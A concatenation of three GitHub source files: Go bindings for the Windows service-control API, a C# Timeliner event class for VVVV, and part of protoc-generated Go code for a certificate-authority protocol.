// Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build windows
package windows
const (
SC_MANAGER_CONNECT = 1
SC_MANAGER_CREATE_SERVICE = 2
SC_MANAGER_ENUMERATE_SERVICE = 4
SC_MANAGER_LOCK = 8
SC_MANAGER_QUERY_LOCK_STATUS = 16
SC_MANAGER_MODIFY_BOOT_CONFIG = 32
SC_MANAGER_ALL_ACCESS = 0xf003f
)
//sys OpenSCManager(machineName *uint16, databaseName *uint16, access uint32) (handle Handle, err error) [failretval==0] = advapi32.OpenSCManagerW
const (
SERVICE_KERNEL_DRIVER = 1
SERVICE_FILE_SYSTEM_DRIVER = 2
SERVICE_ADAPTER = 4
SERVICE_RECOGNIZER_DRIVER = 8
SERVICE_WIN32_OWN_PROCESS = 16
SERVICE_WIN32_SHARE_PROCESS = 32
SERVICE_WIN32 = SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS
SERVICE_INTERACTIVE_PROCESS = 256
SERVICE_DRIVER = SERVICE_KERNEL_DRIVER | SERVICE_FILE_SYSTEM_DRIVER | SERVICE_RECOGNIZER_DRIVER
SERVICE_TYPE_ALL = SERVICE_WIN32 | SERVICE_ADAPTER | SERVICE_DRIVER | SERVICE_INTERACTIVE_PROCESS
SERVICE_BOOT_START = 0
SERVICE_SYSTEM_START = 1
SERVICE_AUTO_START = 2
SERVICE_DEMAND_START = 3
SERVICE_DISABLED = 4
SERVICE_ERROR_IGNORE = 0
SERVICE_ERROR_NORMAL = 1
SERVICE_ERROR_SEVERE = 2
SERVICE_ERROR_CRITICAL = 3
SC_STATUS_PROCESS_INFO = 0
SERVICE_STOPPED = 1
SERVICE_START_PENDING = 2
SERVICE_STOP_PENDING = 3
SERVICE_RUNNING = 4
SERVICE_CONTINUE_PENDING = 5
SERVICE_PAUSE_PENDING = 6
SERVICE_PAUSED = 7
SERVICE_NO_CHANGE = 0xffffffff
SERVICE_ACCEPT_STOP = 1
SERVICE_ACCEPT_PAUSE_CONTINUE = 2
SERVICE_ACCEPT_SHUTDOWN = 4
SERVICE_ACCEPT_PARAMCHANGE = 8
SERVICE_ACCEPT_NETBINDCHANGE = 16
SERVICE_ACCEPT_HARDWAREPROFILECHANGE = 32
SERVICE_ACCEPT_POWEREVENT = 64
SERVICE_ACCEPT_SESSIONCHANGE = 128
SERVICE_CONTROL_STOP = 1
SERVICE_CONTROL_PAUSE = 2
SERVICE_CONTROL_CONTINUE = 3
SERVICE_CONTROL_INTERROGATE = 4
SERVICE_CONTROL_SHUTDOWN = 5
SERVICE_CONTROL_PARAMCHANGE = 6
SERVICE_CONTROL_NETBINDADD = 7
SERVICE_CONTROL_NETBINDREMOVE = 8
SERVICE_CONTROL_NETBINDENABLE = 9
SERVICE_CONTROL_NETBINDDISABLE = 10
SERVICE_CONTROL_DEVICEEVENT = 11
SERVICE_CONTROL_HARDWAREPROFILECHANGE = 12
SERVICE_CONTROL_POWEREVENT = 13
SERVICE_CONTROL_SESSIONCHANGE = 14
SERVICE_ACTIVE = 1
SERVICE_INACTIVE = 2
SERVICE_STATE_ALL = 3
SERVICE_QUERY_CONFIG = 1
SERVICE_CHANGE_CONFIG = 2
SERVICE_QUERY_STATUS = 4
SERVICE_ENUMERATE_DEPENDENTS = 8
SERVICE_START = 16
SERVICE_STOP = 32
SERVICE_PAUSE_CONTINUE = 64
SERVICE_INTERROGATE = 128
SERVICE_USER_DEFINED_CONTROL = 256
SERVICE_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SERVICE_QUERY_CONFIG | SERVICE_CHANGE_CONFIG | SERVICE_QUERY_STATUS | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_START | SERVICE_STOP | SERVICE_PAUSE_CONTINUE | SERVICE_INTERROGATE | SERVICE_USER_DEFINED_CONTROL
SERVICE_RUNS_IN_SYSTEM_PROCESS = 1
SERVICE_CONFIG_DESCRIPTION = 1
SERVICE_CONFIG_FAILURE_ACTIONS = 2
NO_ERROR = 0
SC_ENUM_PROCESS_INFO = 0
)
type SERVICE_STATUS struct {
ServiceType uint32
CurrentState uint32
ControlsAccepted uint32
Win32ExitCode uint32
ServiceSpecificExitCode uint32
CheckPoint uint32
WaitHint uint32
}
type SERVICE_TABLE_ENTRY struct {
ServiceName *uint16
ServiceProc uintptr
}
type QUERY_SERVICE_CONFIG struct {
ServiceType uint32
StartType uint32
ErrorControl uint32
BinaryPathName *uint16
LoadOrderGroup *uint16
TagId uint32
Dependencies *uint16
ServiceStartName *uint16
DisplayName *uint16
}
type SERVICE_DESCRIPTION struct {
Description *uint16
}
type SERVICE_STATUS_PROCESS struct {
ServiceType uint32
CurrentState uint32
ControlsAccepted uint32
Win32ExitCode uint32
ServiceSpecificExitCode uint32
CheckPoint uint32
WaitHint uint32
ProcessId uint32
ServiceFlags uint32
}
type ENUM_SERVICE_STATUS_PROCESS struct {
ServiceName *uint16
DisplayName *uint16
ServiceStatusProcess SERVICE_STATUS_PROCESS
}
//sys CloseServiceHandle(handle Handle) (err error) = advapi32.CloseServiceHandle
//sys CreateService(mgr Handle, serviceName *uint16, displayName *uint16, access uint32, srvType uint32, startType uint32, errCtl uint32, pathName *uint16, loadOrderGroup *uint16, tagId *uint32, dependencies *uint16, serviceStartName *uint16, password *uint16) (handle Handle, err error) [failretval==0] = advapi32.CreateServiceW
//sys OpenService(mgr Handle, serviceName *uint16, access uint32) (handle Handle, err error) [failretval==0] = advapi32.OpenServiceW
//sys DeleteService(service Handle) (err error) = advapi32.DeleteService
//sys StartService(service Handle, numArgs uint32, argVectors **uint16) (err error) = advapi32.StartServiceW
//sys QueryServiceStatus(service Handle, status *SERVICE_STATUS) (err error) = advapi32.QueryServiceStatus
//sys ControlService(service Handle, control uint32, status *SERVICE_STATUS) (err error) = advapi32.ControlService
//sys StartServiceCtrlDispatcher(serviceTable *SERVICE_TABLE_ENTRY) (err error) = advapi32.StartServiceCtrlDispatcherW
//sys SetServiceStatus(service Handle, serviceStatus *SERVICE_STATUS) (err error) = advapi32.SetServiceStatus
//sys ChangeServiceConfig(service Handle, serviceType uint32, startType uint32, errorControl uint32, binaryPathName *uint16, loadOrderGroup *uint16, tagId *uint32, dependencies *uint16, serviceStartName *uint16, password *uint16, displayName *uint16) (err error) = advapi32.ChangeServiceConfigW
//sys QueryServiceConfig(service Handle, serviceConfig *QUERY_SERVICE_CONFIG, bufSize uint32, bytesNeeded *uint32) (err error) = advapi32.QueryServiceConfigW
//sys ChangeServiceConfig2(service Handle, infoLevel uint32, info *byte) (err error) = advapi32.ChangeServiceConfig2W
//sys QueryServiceConfig2(service Handle, infoLevel uint32, buff *byte, buffSize uint32, bytesNeeded *uint32) (err error) = advapi32.QueryServiceConfig2W
//sys EnumServicesStatusEx(mgr Handle, infoLevel uint32, serviceType uint32, serviceState uint32, services *byte, bufSize uint32, bytesNeeded *uint32, servicesReturned *uint32, resumeHandle *uint32, groupName *uint16) (err error) = advapi32.EnumServicesStatusExW
| {
"pile_set_name": "Github"
} |
using System;
using VVVV.PluginInterfaces.V1;
namespace VVVV.Nodes.Timeliner
{
public enum TLActionCommand {next, previous, play, pause, jump, loop};
public struct TLAction
{
public TLActionCommand Command;
private string FGotoState;
public string GotoState
{
get{return FGotoState;}
set{FGotoState = value;}
}
public override string ToString()
{
if (Command == TLActionCommand.jump)
return FGotoState;
else
return Command.ToString();
}
public string Icon
{
get
{
switch (Command)
{
case TLActionCommand.next: return ">>";
case TLActionCommand.previous: return "<<";
case TLActionCommand.loop: return "><";
case TLActionCommand.pause: return " ||";
case TLActionCommand.play: return " >";
case TLActionCommand.jump: return "->";
default: return "->";
}
}
}
}
public class TLEvent
{
private IValueFastIn FEventPin;
public IValueFastIn EventPin
{
get{return FEventPin;}
set{FEventPin = value;}
}
private TLAction FAction;
public TLAction Action
{
get{return FAction;}
}
public string GotoState
{
get {return FAction.GotoState;}
}
private string FName;
public string Name
{
get {return FName;}
}
public TLEvent(string Event)
{
char[] s = {' '};
string[] e = Event.Split(s);
FName = e[0];
try
{
FAction.Command = (TLActionCommand) Enum.Parse(typeof(TLActionCommand), e[1]);
}
catch (System.ArgumentException)
{
FAction.Command = TLActionCommand.jump;
FAction.GotoState = e[1];
}
}
public override string ToString()
{
return FName + " " + FAction.ToString() + ";";
}
}
}
| {
"pile_set_name": "Github"
} |
// Code generated by protoc-gen-go.
// source: ca.proto
// DO NOT EDIT!
/*
Package protos is a generated protocol buffer package.
It is generated from these files:
ca.proto
It has these top-level messages:
CAStatus
Empty
Identity
Token
Hash
PublicKey
PrivateKey
Signature
Registrar
RegisterUserReq
Attribute
ReadUserSetReq
User
UserSet
ECertCreateReq
ECertCreateResp
ECertReadReq
ECertRevokeReq
ECertCRLReq
TCertCreateReq
TCertCreateResp
TCertCreateSetReq
TCertAttribute
TCertCreateSetResp
TCertReadSetsReq
TCertRevokeReq
TCertRevokeSetReq
TCertCRLReq
TLSCertCreateReq
TLSCertCreateResp
TLSCertReadReq
TLSCertRevokeReq
Cert
TCert
CertSet
CertSets
CertPair
ACAAttrReq
ACAAttrResp
ACAFetchAttrReq
ACAFetchAttrResp
FetchAttrsResult
ACAAttribute
*/
package protos
import proto "github.com/golang/protobuf/proto"
import fmt "fmt"
import math "math"
import google_protobuf "github.com/golang/protobuf/ptypes/timestamp"
import (
context "golang.org/x/net/context"
grpc "google.golang.org/grpc"
)
// Reference imports to suppress errors if they are not otherwise used.
var _ = proto.Marshal
var _ = fmt.Errorf
var _ = math.Inf
// This is a compile-time assertion to ensure that this generated file
// is compatible with the proto package it is being compiled against.
// A compilation error at this line likely means your copy of the
// proto package needs to be updated.
const _ = proto.ProtoPackageIsVersion2 // please upgrade the proto package
// Public/private keys.
type CryptoType int32
const (
CryptoType_ECDSA CryptoType = 0
CryptoType_RSA CryptoType = 1
CryptoType_DSA CryptoType = 2
)
var CryptoType_name = map[int32]string{
0: "ECDSA",
1: "RSA",
2: "DSA",
}
var CryptoType_value = map[string]int32{
"ECDSA": 0,
"RSA": 1,
"DSA": 2,
}
func (x CryptoType) String() string {
return proto.EnumName(CryptoType_name, int32(x))
}
func (CryptoType) EnumDescriptor() ([]byte, []int) { return fileDescriptor0, []int{0} }
// User registration.
//
type Role int32
const (
Role_NONE Role = 0
Role_CLIENT Role = 1
Role_PEER Role = 2
Role_VALIDATOR Role = 4
Role_AUDITOR Role = 8
Role_ALL Role = 65535
)
var Role_name = map[int32]string{
0: "NONE",
1: "CLIENT",
2: "PEER",
4: "VALIDATOR",
8: "AUDITOR",
65535: "ALL",
}
var Role_value = map[string]int32{
"NONE": 0,
"CLIENT": 1,
"PEER": 2,
"VALIDATOR": 4,
"AUDITOR": 8,
"ALL": 65535,
}
func (x Role) String() string {
return proto.EnumName(Role_name, int32(x))
}
func (Role) EnumDescriptor() ([]byte, []int) { return fileDescriptor0, []int{1} }
type CAStatus_StatusCode int32
const (
CAStatus_OK CAStatus_StatusCode = 0
CAStatus_UNKNOWN_ERROR CAStatus_StatusCode = 1
)
var CAStatus_StatusCode_name = map[int32]string{
0: "OK",
1: "UNKNOWN_ERROR",
}
var CAStatus_StatusCode_value = map[string]int32{
"OK": 0,
"UNKNOWN_ERROR": 1,
}
func (x CAStatus_StatusCode) String() string {
return proto.EnumName(CAStatus_StatusCode_name, int32(x))
}
func (CAStatus_StatusCode) EnumDescriptor() ([]byte, []int) { return fileDescriptor0, []int{0, 0} }
type ACAAttrResp_StatusCode int32
const (
// Processed OK and all attributes included.
ACAAttrResp_FULL_SUCCESSFUL ACAAttrResp_StatusCode = 0
// Processed OK but some attributes included.
ACAAttrResp_PARTIAL_SUCCESSFUL ACAAttrResp_StatusCode = 1
// Processed OK but no attributes included.
ACAAttrResp_NO_ATTRIBUTES_FOUND ACAAttrResp_StatusCode = 8
ACAAttrResp_FAILURE_MINVAL ACAAttrResp_StatusCode = 100
ACAAttrResp_FAILURE ACAAttrResp_StatusCode = 100
ACAAttrResp_BAD_REQUEST ACAAttrResp_StatusCode = 200
// Missing parameters
ACAAttrResp_FAIL_NIL_TS ACAAttrResp_StatusCode = 201
ACAAttrResp_FAIL_NIL_ID ACAAttrResp_StatusCode = 202
ACAAttrResp_FAIL_NIL_ECERT ACAAttrResp_StatusCode = 203
ACAAttrResp_FAIL_NIL_SIGNATURE ACAAttrResp_StatusCode = 204
ACAAttrResp_FAIL_NIL_ATTRIBUTES ACAAttrResp_StatusCode = 205
ACAAttrResp_FAILURE_MAXVAL ACAAttrResp_StatusCode = 205
)
var ACAAttrResp_StatusCode_name = map[int32]string{
0: "FULL_SUCCESSFUL",
1: "PARTIAL_SUCCESSFUL",
8: "NO_ATTRIBUTES_FOUND",
100: "FAILURE_MINVAL",
// Duplicate value: 100: "FAILURE",
200: "BAD_REQUEST",
201: "FAIL_NIL_TS",
202: "FAIL_NIL_ID",
203: "FAIL_NIL_ECERT",
204: "FAIL_NIL_SIGNATURE",
205: "FAIL_NIL_ATTRIBUTES",
// Duplicate value: 205: "FAILURE_MAXVAL",
}
var ACAAttrResp_StatusCode_value = map[string]int32{
"FULL_SUCCESSFUL": 0,
"PARTIAL_SUCCESSFUL": 1,
"NO_ATTRIBUTES_FOUND": 8,
"FAILURE_MINVAL": 100,
"FAILURE": 100,
"BAD_REQUEST": 200,
"FAIL_NIL_TS": 201,
"FAIL_NIL_ID": 202,
"FAIL_NIL_ECERT": 203,
"FAIL_NIL_SIGNATURE": 204,
"FAIL_NIL_ATTRIBUTES": 205,
"FAILURE_MAXVAL": 205,
}
func (x ACAAttrResp_StatusCode) String() string {
return proto.EnumName(ACAAttrResp_StatusCode_name, int32(x))
}
func (ACAAttrResp_StatusCode) EnumDescriptor() ([]byte, []int) { return fileDescriptor0, []int{37, 0} }
type ACAFetchAttrResp_StatusCode int32
const (
// Processed OK
ACAFetchAttrResp_SUCCESS ACAFetchAttrResp_StatusCode = 0
// Processed with errors.
ACAFetchAttrResp_FAILURE ACAFetchAttrResp_StatusCode = 100
)
var ACAFetchAttrResp_StatusCode_name = map[int32]string{
0: "SUCCESS",
100: "FAILURE",
}
var ACAFetchAttrResp_StatusCode_value = map[string]int32{
"SUCCESS": 0,
"FAILURE": 100,
}
func (x ACAFetchAttrResp_StatusCode) String() string {
return proto.EnumName(ACAFetchAttrResp_StatusCode_name, int32(x))
}
func (ACAFetchAttrResp_StatusCode) EnumDescriptor() ([]byte, []int) {
return fileDescriptor0, []int{39, 0}
}
type FetchAttrsResult_StatusCode int32
const (
// Processed OK
FetchAttrsResult_SUCCESS FetchAttrsResult_StatusCode = 0
// Processed with errors
FetchAttrsResult_FAILURE FetchAttrsResult_StatusCode = 100
)
var FetchAttrsResult_StatusCode_name = map[int32]string{
0: "SUCCESS",
100: "FAILURE",
}
var FetchAttrsResult_StatusCode_value = map[string]int32{
"SUCCESS": 0,
"FAILURE": 100,
}
func (x FetchAttrsResult_StatusCode) String() string {
return proto.EnumName(FetchAttrsResult_StatusCode_name, int32(x))
}
func (FetchAttrsResult_StatusCode) EnumDescriptor() ([]byte, []int) {
return fileDescriptor0, []int{40, 0}
}
// Status codes shared by both CAs.
//
type CAStatus struct {
Status CAStatus_StatusCode `protobuf:"varint,1,opt,name=status,enum=protos.CAStatus_StatusCode" json:"status,omitempty"`
}
func (m *CAStatus) Reset() { *m = CAStatus{} }
func (m *CAStatus) String() string { return proto.CompactTextString(m) }
func (*CAStatus) ProtoMessage() {}
func (*CAStatus) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{0} }
// Empty message.
type Empty struct {
}
func (m *Empty) Reset() { *m = Empty{} }
func (m *Empty) String() string { return proto.CompactTextString(m) }
func (*Empty) ProtoMessage() {}
func (*Empty) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{1} }
// Uniquely identifies a user towards either CA.
type Identity struct {
Id string `protobuf:"bytes,1,opt,name=id" json:"id,omitempty"`
}
func (m *Identity) Reset() { *m = Identity{} }
func (m *Identity) String() string { return proto.CompactTextString(m) }
func (*Identity) ProtoMessage() {}
func (*Identity) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{2} }
type Token struct {
Tok []byte `protobuf:"bytes,1,opt,name=tok,proto3" json:"tok,omitempty"`
}
func (m *Token) Reset() { *m = Token{} }
func (m *Token) String() string { return proto.CompactTextString(m) }
func (*Token) ProtoMessage() {}
func (*Token) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{3} }
type Hash struct {
Hash []byte `protobuf:"bytes,1,opt,name=hash,proto3" json:"hash,omitempty"`
}
func (m *Hash) Reset() { *m = Hash{} }
func (m *Hash) String() string { return proto.CompactTextString(m) }
func (*Hash) ProtoMessage() {}
func (*Hash) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{4} }
type PublicKey struct {
Type CryptoType `protobuf:"varint,1,opt,name=type,enum=protos.CryptoType" json:"type,omitempty"`
Key []byte `protobuf:"bytes,2,opt,name=key,proto3" json:"key,omitempty"`
}
func (m *PublicKey) Reset() { *m = PublicKey{} }
func (m *PublicKey) String() string { return proto.CompactTextString(m) }
func (*PublicKey) ProtoMessage() {}
func (*PublicKey) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{5} }
type PrivateKey struct {
Type CryptoType `protobuf:"varint,1,opt,name=type,enum=protos.CryptoType" json:"type,omitempty"`
Key []byte `protobuf:"bytes,2,opt,name=key,proto3" json:"key,omitempty"`
}
func (m *PrivateKey) Reset() { *m = PrivateKey{} }
func (m *PrivateKey) String() string { return proto.CompactTextString(m) }
func (*PrivateKey) ProtoMessage() {}
func (*PrivateKey) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{6} }
// Signature.
//
type Signature struct {
Type CryptoType `protobuf:"varint,1,opt,name=type,enum=protos.CryptoType" json:"type,omitempty"`
R []byte `protobuf:"bytes,2,opt,name=r,proto3" json:"r,omitempty"`
S []byte `protobuf:"bytes,3,opt,name=s,proto3" json:"s,omitempty"`
}
func (m *Signature) Reset() { *m = Signature{} }
func (m *Signature) String() string { return proto.CompactTextString(m) }
func (*Signature) ProtoMessage() {}
func (*Signature) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{7} }
type Registrar struct {
Id *Identity `protobuf:"bytes,1,opt,name=id" json:"id,omitempty"`
Roles []string `protobuf:"bytes,2,rep,name=roles" json:"roles,omitempty"`
DelegateRoles []string `protobuf:"bytes,3,rep,name=delegateRoles" json:"delegateRoles,omitempty"`
}
func (m *Registrar) Reset() { *m = Registrar{} }
func (m *Registrar) String() string { return proto.CompactTextString(m) }
func (*Registrar) ProtoMessage() {}
func (*Registrar) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{8} }
func (m *Registrar) GetId() *Identity {
if m != nil {
return m.Id
}
return nil
}
type RegisterUserReq struct {
Id *Identity `protobuf:"bytes,1,opt,name=id" json:"id,omitempty"`
Role Role `protobuf:"varint,2,opt,name=role,enum=protos.Role" json:"role,omitempty"`
Attributes []*Attribute `protobuf:"bytes,3,rep,name=attributes" json:"attributes,omitempty"`
Affiliation string `protobuf:"bytes,4,opt,name=affiliation" json:"affiliation,omitempty"`
Registrar *Registrar `protobuf:"bytes,5,opt,name=registrar" json:"registrar,omitempty"`
Sig *Signature `protobuf:"bytes,6,opt,name=sig" json:"sig,omitempty"`
}
func (m *RegisterUserReq) Reset() { *m = RegisterUserReq{} }
func (m *RegisterUserReq) String() string { return proto.CompactTextString(m) }
func (*RegisterUserReq) ProtoMessage() {}
func (*RegisterUserReq) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{9} }
func (m *RegisterUserReq) GetId() *Identity {
if m != nil {
return m.Id
}
return nil
}
func (m *RegisterUserReq) GetAttributes() []*Attribute {
if m != nil {
return m.Attributes
}
return nil
}
func (m *RegisterUserReq) GetRegistrar() *Registrar {
if m != nil {
return m.Registrar
}
return nil
}
func (m *RegisterUserReq) GetSig() *Signature {
if m != nil {
return m.Sig
}
return nil
}
type Attribute struct {
Name string `protobuf:"bytes,1,opt,name=name" json:"name,omitempty"`
Value string `protobuf:"bytes,2,opt,name=value" json:"value,omitempty"`
NotBefore string `protobuf:"bytes,3,opt,name=notBefore" json:"notBefore,omitempty"`
NotAfter string `protobuf:"bytes,4,opt,name=notAfter" json:"notAfter,omitempty"`
}
func (m *Attribute) Reset() { *m = Attribute{} }
func (m *Attribute) String() string { return proto.CompactTextString(m) }
func (*Attribute) ProtoMessage() {}
type ReadUserSetReq struct {
Req *Identity `protobuf:"bytes,1,opt,name=req" json:"req,omitempty"`
Role Role `protobuf:"varint,2,opt,name=role,enum=protos.Role" json:"role,omitempty"`
Sig *Signature `protobuf:"bytes,3,opt,name=sig" json:"sig,omitempty"`
}
func (m *ReadUserSetReq) Reset() { *m = ReadUserSetReq{} }
func (m *ReadUserSetReq) String() string { return proto.CompactTextString(m) }
func (*ReadUserSetReq) ProtoMessage() {}
func (*ReadUserSetReq) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{10} }
func (m *ReadUserSetReq) GetReq() *Identity {
if m != nil {
return m.Req
}
return nil
}
func (m *ReadUserSetReq) GetSig() *Signature {
if m != nil {
return m.Sig
}
return nil
}
type User struct {
Id *Identity `protobuf:"bytes,1,opt,name=id" json:"id,omitempty"`
Role Role `protobuf:"varint,2,opt,name=role,enum=protos.Role" json:"role,omitempty"`
}
func (m *User) Reset() { *m = User{} }
func (m *User) String() string { return proto.CompactTextString(m) }
func (*User) ProtoMessage() {}
func (*User) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{11} }
func (m *User) GetId() *Identity {
if m != nil {
return m.Id
}
return nil
}
type UserSet struct {
Users []*User `protobuf:"bytes,1,rep,name=users" json:"users,omitempty"`
}
func (m *UserSet) Reset() { *m = UserSet{} }
func (m *UserSet) String() string { return proto.CompactTextString(m) }
func (*UserSet) ProtoMessage() {}
func (*UserSet) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{12} }
func (m *UserSet) GetUsers() []*User {
if m != nil {
return m.Users
}
return nil
}
// Certificate requests.
//
type ECertCreateReq struct {
Ts *google_protobuf.Timestamp `protobuf:"bytes,1,opt,name=ts" json:"ts,omitempty"`
Id *Identity `protobuf:"bytes,2,opt,name=id" json:"id,omitempty"`
Tok *Token `protobuf:"bytes,3,opt,name=tok" json:"tok,omitempty"`
Sign *PublicKey `protobuf:"bytes,4,opt,name=sign" json:"sign,omitempty"`
Enc *PublicKey `protobuf:"bytes,5,opt,name=enc" json:"enc,omitempty"`
Sig *Signature `protobuf:"bytes,6,opt,name=sig" json:"sig,omitempty"`
}
func (m *ECertCreateReq) Reset() { *m = ECertCreateReq{} }
func (m *ECertCreateReq) String() string { return proto.CompactTextString(m) }
func (*ECertCreateReq) ProtoMessage() {}
func (*ECertCreateReq) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{13} }
func (m *ECertCreateReq) GetTs() *google_protobuf.Timestamp {
if m != nil {
return m.Ts
}
return nil
}
func (m *ECertCreateReq) GetId() *Identity {
if m != nil {
return m.Id
}
return nil
}
func (m *ECertCreateReq) GetTok() *Token {
if m != nil {
return m.Tok
}
return nil
}
func (m *ECertCreateReq) GetSign() *PublicKey {
if m != nil {
return m.Sign
}
return nil
}
func (m *ECertCreateReq) GetEnc() *PublicKey {
if m != nil {
return m.Enc
}
return nil
}
func (m *ECertCreateReq) GetSig() *Signature {
if m != nil {
return m.Sig
}
return nil
}
type ECertCreateResp struct {
Certs *CertPair `protobuf:"bytes,1,opt,name=certs" json:"certs,omitempty"`
Chain *Token `protobuf:"bytes,2,opt,name=chain" json:"chain,omitempty"`
Pkchain []byte `protobuf:"bytes,5,opt,name=pkchain,proto3" json:"pkchain,omitempty"`
Tok *Token `protobuf:"bytes,3,opt,name=tok" json:"tok,omitempty"`
FetchResult *FetchAttrsResult `protobuf:"bytes,4,opt,name=fetchResult" json:"fetchResult,omitempty"`
}
func (m *ECertCreateResp) Reset() { *m = ECertCreateResp{} }
func (m *ECertCreateResp) String() string { return proto.CompactTextString(m) }
func (*ECertCreateResp) ProtoMessage() {}
func (*ECertCreateResp) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{14} }
func (m *ECertCreateResp) GetCerts() *CertPair {
if m != nil {
return m.Certs
}
return nil
}
func (m *ECertCreateResp) GetChain() *Token {
if m != nil {
return m.Chain
}
return nil
}
func (m *ECertCreateResp) GetTok() *Token {
if m != nil {
return m.Tok
}
return nil
}
func (m *ECertCreateResp) GetFetchResult() *FetchAttrsResult {
if m != nil {
return m.FetchResult
}
return nil
}
type ECertReadReq struct {
Id *Identity `protobuf:"bytes,1,opt,name=id" json:"id,omitempty"`
}
func (m *ECertReadReq) Reset() { *m = ECertReadReq{} }
func (m *ECertReadReq) String() string { return proto.CompactTextString(m) }
func (*ECertReadReq) ProtoMessage() {}
func (*ECertReadReq) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{15} }
func (m *ECertReadReq) GetId() *Identity {
if m != nil {
return m.Id
}
return nil
}
type ECertRevokeReq struct {
Id *Identity `protobuf:"bytes,1,opt,name=id" json:"id,omitempty"`
Cert *Cert `protobuf:"bytes,2,opt,name=cert" json:"cert,omitempty"`
Sig *Signature `protobuf:"bytes,3,opt,name=sig" json:"sig,omitempty"`
}
func (m *ECertRevokeReq) Reset() { *m = ECertRevokeReq{} }
func (m *ECertRevokeReq) String() string { return proto.CompactTextString(m) }
func (*ECertRevokeReq) ProtoMessage() {}
func (*ECertRevokeReq) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{16} }
func (m *ECertRevokeReq) GetId() *Identity {
if m != nil {
return m.Id
}
return nil
}
func (m *ECertRevokeReq) GetCert() *Cert {
if m != nil {
return m.Cert
}
return nil
}
func (m *ECertRevokeReq) GetSig() *Signature {
if m != nil {
return m.Sig
}
return nil
}
type ECertCRLReq struct {
Id *Identity `protobuf:"bytes,1,opt,name=id" json:"id,omitempty"`
Sig *Signature `protobuf:"bytes,2,opt,name=sig" json:"sig,omitempty"`
}
func (m *ECertCRLReq) Reset() { *m = ECertCRLReq{} }
func (m *ECertCRLReq) String() string { return proto.CompactTextString(m) }
func (*ECertCRLReq) ProtoMessage() {}
func (*ECertCRLReq) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{17} }
func (m *ECertCRLReq) GetId() *Identity {
if m != nil {
return m.Id
}
return nil
}
func (m *ECertCRLReq) GetSig() *Signature {
if m != nil {
return m.Sig
}
return nil
}
type TCertCreateReq struct {
Ts *google_protobuf.Timestamp `protobuf:"bytes,1,opt,name=ts" json:"ts,omitempty"`
Id *Identity `protobuf:"bytes,2,opt,name=id" json:"id,omitempty"`
Pub *PublicKey `protobuf:"bytes,3,opt,name=pub" json:"pub,omitempty"`
Sig *Signature `protobuf:"bytes,4,opt,name=sig" json:"sig,omitempty"`
}
func (m *TCertCreateReq) Reset() { *m = TCertCreateReq{} }
func (m *TCertCreateReq) String() string { return proto.CompactTextString(m) }
func (*TCertCreateReq) ProtoMessage() {}
func (*TCertCreateReq) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{18} }
func (m *TCertCreateReq) GetTs() *google_protobuf.Timestamp {
if m != nil {
return m.Ts
}
return nil
}
func (m *TCertCreateReq) GetId() *Identity {
if m != nil {
return m.Id
}
return nil
}
func (m *TCertCreateReq) GetPub() *PublicKey {
if m != nil {
return m.Pub
}
return nil
}
func (m *TCertCreateReq) GetSig() *Signature {
if m != nil {
return m.Sig
}
return nil
}
type TCertCreateResp struct {
Cert *Cert `protobuf:"bytes,1,opt,name=cert" json:"cert,omitempty"`
}
func (m *TCertCreateResp) Reset() { *m = TCertCreateResp{} }
func (m *TCertCreateResp) String() string { return proto.CompactTextString(m) }
func (*TCertCreateResp) ProtoMessage() {}
func (*TCertCreateResp) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{19} }
func (m *TCertCreateResp) GetCert() *Cert {
if m != nil {
return m.Cert
}
return nil
}
type TCertCreateSetReq struct {
Ts *google_protobuf.Timestamp `protobuf:"bytes,1,opt,name=ts" json:"ts,omitempty"`
Id *Identity `protobuf:"bytes,2,opt,name=id" json:"id,omitempty"`
Num uint32 `protobuf:"varint,3,opt,name=num" json:"num,omitempty"`
Attributes []*TCertAttribute `protobuf:"bytes,4,rep,name=attributes" json:"attributes,omitempty"`
Sig *Signature `protobuf:"bytes,5,opt,name=sig" json:"sig,omitempty"`
}
func (m *TCertCreateSetReq) Reset() { *m = TCertCreateSetReq{} }
func (m *TCertCreateSetReq) String() string { return proto.CompactTextString(m) }
func (*TCertCreateSetReq) ProtoMessage() {}
func (*TCertCreateSetReq) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{20} }
func (m *TCertCreateSetReq) GetTs() *google_protobuf.Timestamp {
if m != nil {
return m.Ts
}
return nil
}
func (m *TCertCreateSetReq) GetId() *Identity {
if m != nil {
return m.Id
}
return nil
}
func (m *TCertCreateSetReq) GetAttributes() []*TCertAttribute {
if m != nil {
return m.Attributes
}
return nil
}
func (m *TCertCreateSetReq) GetSig() *Signature {
if m != nil {
return m.Sig
}
return nil
}
type TCertAttribute struct {
AttributeName string `protobuf:"bytes,1,opt,name=attributeName" json:"attributeName,omitempty"`
}
func (m *TCertAttribute) Reset() { *m = TCertAttribute{} }
func (m *TCertAttribute) String() string { return proto.CompactTextString(m) }
func (*TCertAttribute) ProtoMessage() {}
func (*TCertAttribute) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{21} }
type TCertCreateSetResp struct {
Certs *CertSet `protobuf:"bytes,1,opt,name=certs" json:"certs,omitempty"`
}
func (m *TCertCreateSetResp) Reset() { *m = TCertCreateSetResp{} }
func (m *TCertCreateSetResp) String() string { return proto.CompactTextString(m) }
func (*TCertCreateSetResp) ProtoMessage() {}
